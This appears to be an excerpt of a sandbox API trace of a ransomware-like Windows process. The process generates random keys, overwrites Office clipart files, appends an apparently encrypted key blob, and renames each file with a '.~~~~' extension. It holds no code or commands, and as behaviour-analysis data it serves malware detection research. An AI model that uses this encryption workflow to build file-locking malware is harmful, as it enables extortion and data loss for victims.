	[0115.055] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0115.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0115.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0115.055] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23504477990) returned 1
	[0115.055] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xae12e550, dwHighDateTime=0x1d60e1e)) 
	[0115.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0115.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0115.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0115.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283a598
	[0115.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0115.055] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283a598 | out: hHeap=0x300000) returned 1
	[0115.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0115.055] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0115.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0115.055] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0115.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282ee48
	[0115.055] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.055] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0115.056] GetLastError () returned 0x0
	[0115.056] GetLastError () returned 0x0
	[0115.056] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0115.056] GetLastError () returned 0x0
	[0115.056] GetLastError () returned 0x0
	[0115.062] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffeabc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.062] WriteFile (in: hFile=0x140, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x1544, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x1544, lpOverlapped=0x0) returned 1
	[0115.063] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0115.063] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.063] WriteFile (in: hFile=0x140, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0115.063] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0115.063] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0115.063] CloseHandle (hObject=0x140) returned 1
	[0115.063] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0115.064] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00444_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00444_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00444_.wmf.~~~~")) returned 1
	[0115.065] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.065] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0115.065] GetLastError () returned 0x0
	[0115.065] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0115.066] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0115.066] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0115.066] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0115.066] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0115.066] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0115.066] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23505660790) returned 1
	[0115.067] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xae1546b0, dwHighDateTime=0x1d60e1e)) 
	[0115.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0115.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0115.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0115.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283a608
	[0115.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0115.067] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283a608 | out: hHeap=0x300000) returned 1
	[0115.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0115.067] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0115.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0115.067] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0115.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28af0a8
	[0115.067] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.067] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0115.067] GetLastError () returned 0x0
	[0115.067] GetLastError () returned 0x0
	[0115.068] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0115.068] GetLastError () returned 0x0
	[0115.068] GetLastError () returned 0x0
	[0115.082] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffa614, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.082] WriteFile (in: hFile=0x140, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x59ec, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x59ec, lpOverlapped=0x0) returned 1
	[0115.083] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0115.083] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.083] WriteFile (in: hFile=0x140, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0115.083] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0115.083] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0115.083] CloseHandle (hObject=0x140) returned 1
	[0115.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0115.086] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00453_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00453_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00453_.wmf.~~~~")) returned 1
	[0115.087] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.087] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0115.087] GetLastError () returned 0x0
	[0115.087] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0115.088] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0115.088] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0115.088] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0115.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0115.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0115.088] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23507863359) returned 1
	[0115.089] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xae17a810, dwHighDateTime=0x1d60e1e)) 
	[0115.089] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0115.089] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0115.089] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0115.089] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283a678
	[0115.089] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0115.089] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283a678 | out: hHeap=0x300000) returned 1
	[0115.089] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0115.089] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0115.089] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0115.089] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0115.089] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28af1d8
	[0115.089] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.089] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0115.089] GetLastError () returned 0x0
	[0115.090] GetLastError () returned 0x0
	[0115.090] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0115.090] GetLastError () returned 0x0
	[0115.090] GetLastError () returned 0x0
	[0115.100] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffff538, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.101] WriteFile (in: hFile=0x140, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xac8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0xac8, lpOverlapped=0x0) returned 1
	[0115.102] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0115.102] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.102] WriteFile (in: hFile=0x140, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0115.102] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0115.103] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0115.103] CloseHandle (hObject=0x140) returned 1
	[0115.103] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0115.103] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00466_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00466_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00466_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00466_.wmf.~~~~")) returned 1
	[0115.104] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.104] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0115.105] GetLastError () returned 0x0
	[0115.105] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0115.132] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0115.132] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0115.132] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0115.132] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0115.132] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0115.132] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23512188188) returned 1
	[0115.132] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xae1ecc30, dwHighDateTime=0x1d60e1e)) 
	[0115.132] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0115.132] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0115.132] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0115.132] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283a640
	[0115.132] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0115.132] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283a640 | out: hHeap=0x300000) returned 1
	[0115.132] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0115.132] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0115.132] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0115.132] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0115.132] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28af4d0
	[0115.132] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.132] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0115.133] GetLastError () returned 0x0
	[0115.133] GetLastError () returned 0x0
	[0115.133] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0115.133] GetLastError () returned 0x0
	[0115.133] GetLastError () returned 0x0
	[0115.134] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffa4f8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.134] WriteFile (in: hFile=0x140, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x5b08, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x25dfec0*=0x5b08, lpOverlapped=0x0) returned 1
	[0115.136] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0115.136] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.136] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0115.136] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0115.136] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0115.136] CloseHandle (hObject=0x140) returned 1
	[0115.137] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0115.137] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00479_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00479_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00479_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00479_.wmf.~~~~")) returned 1
	[0115.138] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.138] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0115.138] GetLastError () returned 0x0
	[0115.138] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0115.139] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0115.139] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0115.139] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0115.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0115.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0115.139] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23512947380) returned 1
	[0115.139] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xae212d90, dwHighDateTime=0x1d60e1e)) 
	[0115.140] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0115.140] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0115.140] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0115.140] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283a790
	[0115.140] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0115.140] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283a790 | out: hHeap=0x300000) returned 1
	[0115.140] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0115.140] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0115.140] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0115.140] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0115.140] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28af438
	[0115.140] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.140] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0115.141] GetLastError () returned 0x0
	[0115.141] GetLastError () returned 0x0
	[0115.141] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0115.141] GetLastError () returned 0x0
	[0115.141] GetLastError () returned 0x0
	[0115.160] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffff55c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.160] WriteFile (in: hFile=0x140, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0xaa4, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x25dfec0*=0xaa4, lpOverlapped=0x0) returned 1
	[0115.161] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0115.161] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.161] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0115.161] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0115.161] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0115.161] CloseHandle (hObject=0x140) returned 1
	[0115.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0115.162] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00505_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00505_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00505_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00505_.wmf.~~~~")) returned 1
	[0115.203] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.203] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0115.203] GetLastError () returned 0x0
	[0115.204] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
